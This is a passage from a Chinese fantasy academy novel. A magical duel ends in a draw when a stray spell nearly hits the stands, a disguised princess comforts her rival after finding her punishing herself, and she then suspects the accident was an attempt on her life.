随着她话音落下,她周身那片原本用以迷惑对手的浓雾,竟在瞬间变得更加厚重,也更加灵动! 魏恒在下方看得分明,那已不再是单纯的雾。在那翻涌的云雾之中,竟出现了无数个肉眼几乎无法捕捉的高速旋转的微小气旋!它们如同纪云姿布下的成千上万个无形而精巧的小小齿轮,共同构成了一座以柔克刚的云之涡流阵! 这,才是天市宫真正的战斗方式——不与你硬撼,而是改变你头顶的规则。 “滋啦——!!!” 毁天灭地的雷网,终于一头扎进了这片看似柔软无力的涡流阵之中! 那张由纯粹力量构成的巨大雷网,在陷入那无数个微小气旋的瞬间,便仿佛被投入了一台巨大而精密的搅拌机。它那一往无前的蛮横冲势,被无数个方向不同、力道各异的涡流,不断地拉扯、扭曲、引导、分化。 一股雷霆之力想向前冲,却被左侧的气旋带偏;另一股电蛇想向下劈,又被下方的涡流卷起。整张巨大而完整的雷网,竟在短短数息之间,被这看似“四两拨千斤”的云雾涡流,硬生生地拆解、撕扯得支离破碎! 最终,那狂暴的能量,在失去了整体的凝聚力之后,只能在云雾中互相碰撞、湮灭,化作一阵阵沉闷的雷鸣和漫天无害的、细碎的紫色光点,最终被那看似柔弱的云雾,彻底吞噬、消解。 看台上,早已是死一般的寂静。所有人都被这种如同艺术品般的战斗方式,震撼得说不出话来。 就在此时,地枢峰的观赛台上,负责裁判的执事教习,吹响了那代表着“最终一击”的、悠长而古老的号角。 “呜——” 号声回荡在云谷之间,肃穆而决绝。所有人都知道,这意味着,双方必须在下一次攻击中,分出胜负。 裴景珑深吸一口气,将周身残余的雷霆灵力,毫无保留地凝聚于掌心!那狂暴的紫色电弧在她手中疯狂地压缩、旋转,最终化作一颗跳跃着无数狰狞电蛇的紫电雷球。 而在另一端,纪云姿也缓缓抬起了手,将她那充满了诗意的独特灵力,汇聚成一团看似温和,内里却仿佛蕴藏着皓月清辉与无尽风旋的太素流光。 “去!” 伴随着两声清叱,一紫一白两道灵力球,如同两颗撕裂长空的彗星,挟着各自最强的信念与力量,向着裂谷的中央,狠狠地对撞而去! 魏恒在下方的人群中,紧张得手心全是汗,一双眼睛死死地盯着那即将碰撞的、决定着最终胜负的两颗能量球。 然而,那颗白色的太素流光,却在直冲向前时,似因能量的冲击而失去了控制,竟突然改变了方向! 它如同一颗失控的流星,拖着长长的尾迹,不偏不倚地,以一种令人绝望的速度,直直地朝着魏恒所在的那片最低等的杂役与破军殿的看台,呼啸而来! “危险!” “快躲开!” 看台上一片混乱!尖叫声四起!那些力者学子们虽然身手矫健,但这等速度与威力的灵力攻击,也根本不是他们的血肉之躯所能抵挡的! 魏恒更是吓得浑身冰凉,她眼睁睁地看着那团死亡的白光在自己眼中急速放大,那股毁灭性的气息已扑面而来,让她几乎无法呼吸!她想跑,可双腿却如同灌了铅般动弹不得! 然而,就在这电光火石之间—— 高空之上的裴景珑与纪云姿,甚至没有半句言语,仅仅是一个眼神的交汇,便已达成了某种超越胜负的默契。 只见裴景珑眼中闪过一丝决绝,脚下的雷光踏板发出一阵刺耳的爆鸣,整个人化作一道紫色的残影,以一种不合常理的速度,后发先至,瞬间冲到了力者所在的看台之前! “御!” 她厉喝一声,将全身的守护灵力催发到极致!一面由无数道紫色雷光疯狂交织而成的巨大盾牌,悍然立在了所有人的身前。 与此同时,纪云姿也已追着那颗失控的白球而来!她那总是从容不迫的脸上,第一次露出了焦急的神色。她用尽最后一丝力气,以箫作剑,在那白球即将撞上看台的前一刹那,狠狠地劈在了上面。 白球被这一击劈得猛然向上偏离,擦着雷光护盾的边缘,狠狠地撞在了后方的崖壁之上,炸开一个巨大的坑洞,碎石如雨般落下。 然而,那爆炸的余波,依旧如同一只无形的巨锤,重重地砸在了裴景珑的雷盾之上。 一声震耳欲聋的闷响!雷盾剧烈地闪烁、扭曲,发出了不堪重负的悲鸣,但终究还是稳稳地护住了身后的每一个人。 当一切尘埃落定,魏恒才如同从一场噩梦中惊醒般,缓缓抬起头。 她看到的,是裴景珑那挡在她身前的挺拔背影。她的一头长发被气浪吹得狂舞不休,嘴角一丝鲜血正缓缓渗出,显然为了维持这面护盾,她也受了不轻的伤。 可她的身躯,却如同传说中镇守天门的战神般,纹丝不动,将所有的危险都隔绝在了外面。 然后,她转过头。 她的目光,第一时间扫过身后那片惊魂未定、狼狈不堪的人群,最终落在了离自己最近,也显得最是清瘦单薄的小风身上。 “没受伤吧?” 这是四年后,魏恒第一次如此近距离地,清晰地,看清裴景珑的脸。 那张脸不再是魏恒记忆中而带着童真和倔强的稚嫩,而是一种充满了生命力的,锐利而干净的英气。 她呆呆地看着那张近在咫尺,既熟悉又陌生的脸,喧嚣的世界仿佛陷入静止。 26. 秘密花园,天涯咫尺两相惜 由于最后那一击的意外,以及两队开路者皆已灵力透支,胜负无法最终判定。为了不影响后续更高年级的赛事,负责裁判的执事教习在与几位首席教习短暂商议后,最终高声宣布: “四年级组,紫微宫与天市宫——平局!” 这个结果,瞬间在观赛台上激起了轩然大波。所有人都觉得意犹未尽,巨大的扫兴与不甘化作了各种充满了惋惜的倒彩与哀嚎,久久不息。 而场下的喧嚣,似乎都与那两位刚刚走下赛场的少年无关了。 纪云姿一言不发,她那总是带着平和温润的脸上,此刻却写满了困惑与一种明显的自我怀疑。她默默地走到场外一处无人的石阶上坐下,低头看着自己那管古朴的玉箫,似乎完全无法理解自己那演练了千百遍都从未出过错的灵术,怎么就会在最后关头突然偏移,还险些伤及无辜。 裴景珑也默默地走了过去,在她身边坐下。她没有说任何安慰的话,只是伸出手,极其自然地轻轻拍了拍纪云姿的肩膀。 然而,这片刻宁静,很快便被狂热的人潮所打破。 一大群各宫的学子,如同发现了蜜糖的蜂群般冲了过来。 “景珑!云姿!你们两个刚才简直是帅炸了!” “裴师姐,你最后那个雷盾,简直是神迹!你不知道,我们下面的人都快吓傻了!” “云姿你别难过,在我心里你刚才那一手才是真正的大家风范!” 还没安静一会儿,两人便被一堆学子围得里三层外三层,又是递手帕,又是送水,又是塞来各种信件和小吃,加油打气与安慰崇拜之声,不绝于耳。 魏恒看见人群聚集的地方,心中一动,抱着怀里那几封早已被她捂得温热的信,也赶紧跟了过去。她觉得,这正是将这些烫手山芋递给裴景珑的绝佳机会。 然而,她还是天真了。 她作为一个小厮,根本无法从那群情绪激动、将主角簇拥得如同墙壁一般的学姐们之间穿过去。她试着从缝隙里往里挤,却被人不耐烦地推了一把,好不容易稳住身形,又因为不小心踩到了一位师姐的鞋面而被对方狠狠地瞪了一眼,她连忙后退,再也不敢上前。 她只能站在人群的最外围,踮着脚尖,徒劳地望着。 耳边,是所有师姐,甚至还有几个破军殿的男生,对裴景珑毫不掩饰的关心和崇拜的话语。 眼前,是那道怎么也挤不进去的,由无数个鲜活而明亮的身影组成的密不透风的人墙。 而她,就像一个无关紧要的人一样,融入不进眼前属于裴景珑的一切。 突然间,魏恒那早已被她强行压抑在心底的自尊心,好像被无端地、狠狠地刺了一下。 她第一次如此清晰地看到,裴景珑身边,竟然围绕着这么多与她一同竞争、一同欢笑、一同成长的同龄人。她们会为她欢呼,会与她争辩,会想要挑战她,也会真诚地关心她。 她们的关系,是鲜活的,是平等的,是靠着一场场真实的较量与相处建立起来的。 而她自己呢?在京都,那些被允许陪她玩耍的,都是朝臣们谨小慎微的女儿,她们的话语永远是奉承,眼神永远是敬畏。她们从不敢与她争论,更不敢与她真正地一较高下。 她身边所有的人,母皇、爹爹、太师、宫人……都对她很好,可那种爱,也像是一堵温柔而密不透风的宫墙,将她和这个真实的世界,隔绝了开来。 对裴景珑而言,她或许只是一个早已被她远远甩在身后的、不值一提的名字。她早已在更广阔的天地里,与真正的强者们竞渡争锋。 而自己,在那次灵力决斗后的这些年,却还在宫殿那个小小的,温暖的乌托邦里,天真地将她视作自己唯一的对手。 她觉得自己在这个曾经的“好对手”面前,输透了。 魏恒虽然已经开始学着太师教她的,理性地分析一切,可有些感性的东西,来得永远比理性的思考,要更迅速,也更迅猛。 那是一种最直接的羞耻与酸涩,瞬间蔓延至五脏六腑。 她猛地转身,逃跑似地挤开身后的人群,离开了这个她挤不进去的世界。 然后,她呆呆地,出神地,慢悠悠地走着。 耳边,是地枢峰上那依旧未平息的山呼海啸般的喧嚣。可那一切,似乎都隔着一层看不见的琉璃罩子,离她无比遥远。她的世界一片安静。 她不知自己走了多久,也不知自己究竟晃悠到了哪里,只是下意识地避开所有人声鼎沸之处,专往那些僻静无人的小径上走。 最终,当她再次抬起头时,眼前已是一处她从未到过的极其幽静的花园。 夕阳的余晖正从西边的山峦间懒懒地倾泻下来,将那漫山遍野正开着花朵的树,都染上了一层介于赤金与胭脂之间的温柔而瑰丽的霞光,远远望去,竟如同燃烧的火焰。一条清澈见底的小溪从花园的石径旁潺潺流过,溪水被霞光染得如同流动的水粉,发出清脆悦耳的“叮咚”声。空气中,弥漫着一股不知名的野花混合着青草与湿润泥土的、清甜的气息。 这里很美,很安静,没有任何人。 也正是这份无人打扰的寂静,终于让她那根一直紧绷着的弦彻底断了。 她踉跄着走到一棵巨大的树下,背靠着那粗糙的树干缓缓地蹲下身去,最终,将那张沾满了灰尘与委屈的小脸,深深地埋在了自己的膝盖里。 压抑了许久的委屈,终于如同决堤的洪水般汹涌而出。 前些日子,被当做替罪羊,在戒律堂前领受那火辣辣的鞭笞时,她没有哭;被柳若霆当做人肉脚凳,趴在冰冷的泥水里,任由那些名贵的绣鞋踩过她的后背时,她没有哭;甚至在那些独自忍受着病痛的漫长而无助的黑夜里,她也没有哭。 这些,都未曾像此刻这种挫败感一样,让她哭得如此伤心,如此彻底。 前几日所有的委屈,此刻也一并翻涌而上,伴随着今日这份崭新的痛苦,让她彻底崩溃了。 “呜呜……呜呜呜……” 她缩在巨大的树下,哭得一抽一抽的,肩膀不受控制地剧烈颤抖。 “呜呜……不想当小风了……这里一点都不好玩……呜呜……” 突然,一阵踩在落叶上的“沙沙”声,让她瞬间警觉。她连忙死死捂住自己的嘴,忍住哭声,将整个身体都往粗壮的树干内侧躲了躲,生怕被哪个路过的师姐或管事发现她在这里偷懒。 那脚步声在不远处停了下来。 紧接着,一个极其清脆、也极其突兀的“啪”的一声,在寂静的花园中响起。 魏恒心中一惊,这是……巴掌声? 她按捺不住心中的好奇,小心翼翼地从巨大的树干后面,探出了半个脑袋。 只一眼,她便彻底呆住了。 不远处的小溪边,站着的,竟然是裴景珑! 而更让她惊掉下巴的是——她竟然在扇自己巴掌! 只见裴景珑那张总是带着骄傲神采的脸上,此刻已是一片通红,左边脸颊上甚至能看到清晰的指印。 她那双总是那么骄傲的眼睛,此刻却闪烁着晶莹的泪光,眼神里全都愤怒、屈辱,以及深深的不甘。 她就那么站着,抬起手,一下,两下,用尽全力地狠狠打在自己脸上,仿佛感觉不到疼痛一般。嘴里还用一种压抑着无限愤恨的声音反复地念着: “准备了三个月……天市宫都打不过……废物……你这个废物……” 那清脆的巴掌声,一声,一声,竟比前几日戒律堂的鞭子抽在魏恒自己身上,还要让她觉得心头一痛。 那压抑的,充满了自我厌弃的低语,也像是一根根无形的针,密密麻麻地扎进了她的心里。 她也在挫败吗?就因为……平局? 她那么骄傲的一个人,竟会因为没能赢过纪云姿,而这样这样惩罚自己? 一股极度复杂的情绪瞬间冲上了魏恒的大脑!那是一种看到自己最珍视、最耀眼的宝物正在自我毁灭时,那种不顾一切的阻止欲。 那一瞬间,魏恒的本体,那个宵朝的太子,彻底占据了这具身体的主导。 她来不及思考任何关于身份和后果的事情,从大树后面飞速地冲了出去,用这具属于力者的身体,狠狠地一把抓住了裴景珑那只再次扬起的手腕! 裴景珑显然也没料到会有人突然冲出来,惊愕地抬眼看着他。 她看到的,是一个突然冲出来的,比自己高一点的清秀男生。他的脸上竟也挂满了泪痕,一双眼睛又红又肿,和自己一般的狼狈。 可他看她的眼神,却不像她见过的任何一个力者——那里面没有麻木,没有敬畏,没有谄媚,只有担忧、心疼,以及一种她完全无法形容的极其复杂的感觉。 魏恒微微低头,看着她眼中那倔强地不肯落下的泪水,看着她脸颊上那刺眼的红痕,声音颤抖着,脱口而出: “裴师姐……别这样……你、你很好……” 在一阵诡异到连风声都仿佛停止了的安静之后,魏恒才猛地意识到了自己行为的不妥。 她的脸“唰”地一下就白了,闪电似地松开了裴景珑的手腕。 裴景珑在最初的震惊过后,显然也反应了过来。那份被一个陌生小厮撞破自己最狼狈一面的羞耻与尴尬瞬间涌了上来。她那张还带着红痕与泪意的脸上飞快地掠过一丝慌乱,随即又被她强行用一种惯有的骄傲给压了下去。 她极其不自然地用手背飞快地抹了一下眼角,然后别过脸去,干咳了一声,用一种刻意显得随意却仍带着别扭的语气问道: “咳,你……认识我啊?” 这一问,倒像是给了魏恒一个天大的台阶下。 她终于抓住机会,手忙脚乱地将怀里那一大叠被捂得温热、沾着各色香气的信件全都掏了出来,如同献宝一般递到她面前: “认识!裴师姐!书院里谁不认识你呀!”她的声音因为紧张和激动,还带着点颤音,“这些都是好多位师姐托我,务必亲手交给您的!” 裴景珑双手接过眼前那些五颜六色的信笺,微微一愣。随即,她像是想起了什么,恍然大悟般地“哦”了一声:“你是不是刚才在地枢峰底下,观众席上的那个?” 她已经完全收起了眼中的泪光和狼狈,嘴角重新勾起了一抹戏谑的浅笑,好整以暇地调侃道:“怎么?这就吓哭了?” 她以为他还在后怕,便带着一丝安抚的意味摆了摆手:“行了,别怕了。那一下也不是冲着你们来的。” 说到这,她的脸上却浮现出一丝凝重与困惑。她压低声音,像是自言自语,又像是在对这个唯一能听她说话的小厮解释: “不过……这事说来也奇。书院的赛事里从来没有发生过这样的意外,而且,以纪云姿那份对灵力精微操控的本事,绝不可能出现这等低级的失误。那道太素流光看着温和,实则每一缕风旋的轨迹都由她心念所定,没有自己偏离的道理。” 她顿了顿,回忆着当时那电光火石的一幕,锐利的眼中闪过一丝疑虑:“我与她方才也在复盘,都觉得那光球在半空中,像是被一股极其隐晦的外力,不着痕跡地推了一把......算了,这事还没个定论,教习们也正在查,你别瞎想吓自己了。” “不……不是因为那个……”魏恒嗫嚅着,下意识地想要辩解。 “那是为什么?”裴景珑似乎是觉得他这副又急又窘迫的模样十分有趣,竟在那棵树下的石凳上饶有趣味地坐了下来。她看着他那如同受了天大委屈的模样,白皙的皮肤因为哭过而显得鼻尖和眼睑都粉粉的,好笑地追问道,“哭得这么可怜,说来听听,是谁惹我们 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她的语气,仿佛在谈论一个与自己完全不是一个量级的无聊的人,那份发自骨子里的强大与自信,让魏恒那颗还在委屈中的心,都莫名地安定了几分。 随后,裴景珑站起身来,拍了拍自己赛服上本不存在的灰尘,不知道是真轻松还是装轻松地清了清嗓子,刻意摆出一副浑然天成的大姐头语气,仿佛在收小弟般地说道: “咳咳,看在你今天撞见了我秘密的份儿上,只要你不说出去,以后你就是我罩着的人了。谁再敢这样莫名其妙地欺负你,你就来紫微宫找我,我给你出头!” 魏恒一听这话,心里顿时又暖又急。她一看裴景珑把话说开了,便也顾不上思考,连忙将话题拉回到了她的“秘密”上: “裴师姐,我不给你添麻烦,你不罩着我也可以,只要你……你别再那样对自己了,我就不说出去……” 裴景珑彻底愣住了。她本以为这小厮会感激涕零地谢恩,却万万没想到,他关心的,竟然还是她。 她看着他俊俏的小脸上那种全然为她着想的固执,那双湿漉漉的眼睛充满了令人无法拒绝的真挚,还透着一种如同被她捡到的小兽,想要用自己全部的笨拙来守护主人的那种傻乎乎的忠诚。 裴景珑的脸“腾”地一下就红透了,极其不自然地别过头去,打断了他那还在继续的、充满了担忧的话语: “行行行!知道了!我不这么对自己了!真是啰嗦!” 她顿了顿,又飞快地转回头,用一种更不容置喙的语气来掩饰自己的那份窘迫与不自在: “我说罩着你就罩着!少废话!反正你以后有什么事,来找我就行了!就这样!我先走了!” 说完,她便如同身后有猛兽在追一般,头也不回地,快步离开了这处让她感觉心跳有些失控的黄昏花园。 魏恒没有立刻回去,只是一个人在那座空无一人的花园里漫无目的地走着。 她看着天边,那最后一抹瑰丽的晚霞正温柔而不舍地吻着远方山峦的轮廓。那份方才因裴景珑而起的又甜又乱的心绪,便也如同这漫天霞光一般,将她整个人都包裹了起来,让她醉醺醺的,连脚步都变得有些轻飘飘。 空气中,那股清甜的花香似乎变得更加浓郁,潺潺的溪流声,在四下无人的寂静里,也显得格外清脆悦耳,像是在为她此刻的心情伴奏着一首轻快的小曲。 夜深了,魏恒蜷缩在自己那张冰冷的硬板床上,却毫无睡意。 她睁着一双亮得惊人的眼睛,直直地望着头顶那方寸之间被木梁分割得支离破碎的黑暗。 今日是信息量极大的一天,混乱的记忆在她的脑海中反复地上演。 她想起了裴景珑在赛场上那如同雷神降世般绚烂的身影,心中那份因被远远甩在身后而产生的挫败感,依旧清晰。 她又想起了在花园里,撞见她独自一人用巴掌惩罚自己时,那张写满了屈辱与不甘的脸,心中那份震惊与没来由的心疼,也依旧滚烫。 但最终,所有的情绪,都定格在了那几幕——她挡在自己身前时,那并不算宽阔却又无比坚定的背影;她转过身后,那双带着关切与温柔,清亮如星的眼睛;以及,她那句笨拙的,试图用“罩着你”来掩饰自己窘迫的可爱宣言。 想到这里,魏恒忍不住将脸埋进被子里,嘴角不受控制地浮起了一抹傻乎乎的雀跃笑容。 她还是和以前一样……一点都没变…… 就在她即将带着一丝傻笑沉沉睡去时,裴景珑在她耳边,用那种极其凝重的语气所说的那句话,却毫无预兆地在她脑海中再次响起: “那光球在半空中,像是被一股极其隐晦的外力……推了一把。” 魏恒脸上的笑容,瞬间凝固了。 方才还因为少年心事而变得混沌温热的大脑,在这一刻瞬间变得无比冷静,也无比清醒。 那属于太子的机警,如同蛰伏的猛兽,骤然苏醒。 她开始复盘今日发生的所有细节。 这踏虚竞渡在书院已举办多年,从未有过这等灵力球失控,直冲看台的意外…… 以纪云姿那般稳重谨慎的性子和对灵力精微到近乎刻板的操控力,绝无可能犯下如此低级的失误…… 而那光球偏移的方向,不偏不倚,正是冲着最低等、最不起眼、几乎被所有人忽视的杂役区而来。 而我,当时就站在那里。 那根本不是意外! 那股所谓的“外力”,未尝不可能,就是冲着自己来的。 或许,在这看似平静的书院里,在她看不到的角落,竟早已有人知晓了她的身份? 或者,即便不知道她是谁,也已将她当做了必须除之而后快的目标? 一股冰冷的寒意,让她的额角渗出了细密的冷汗。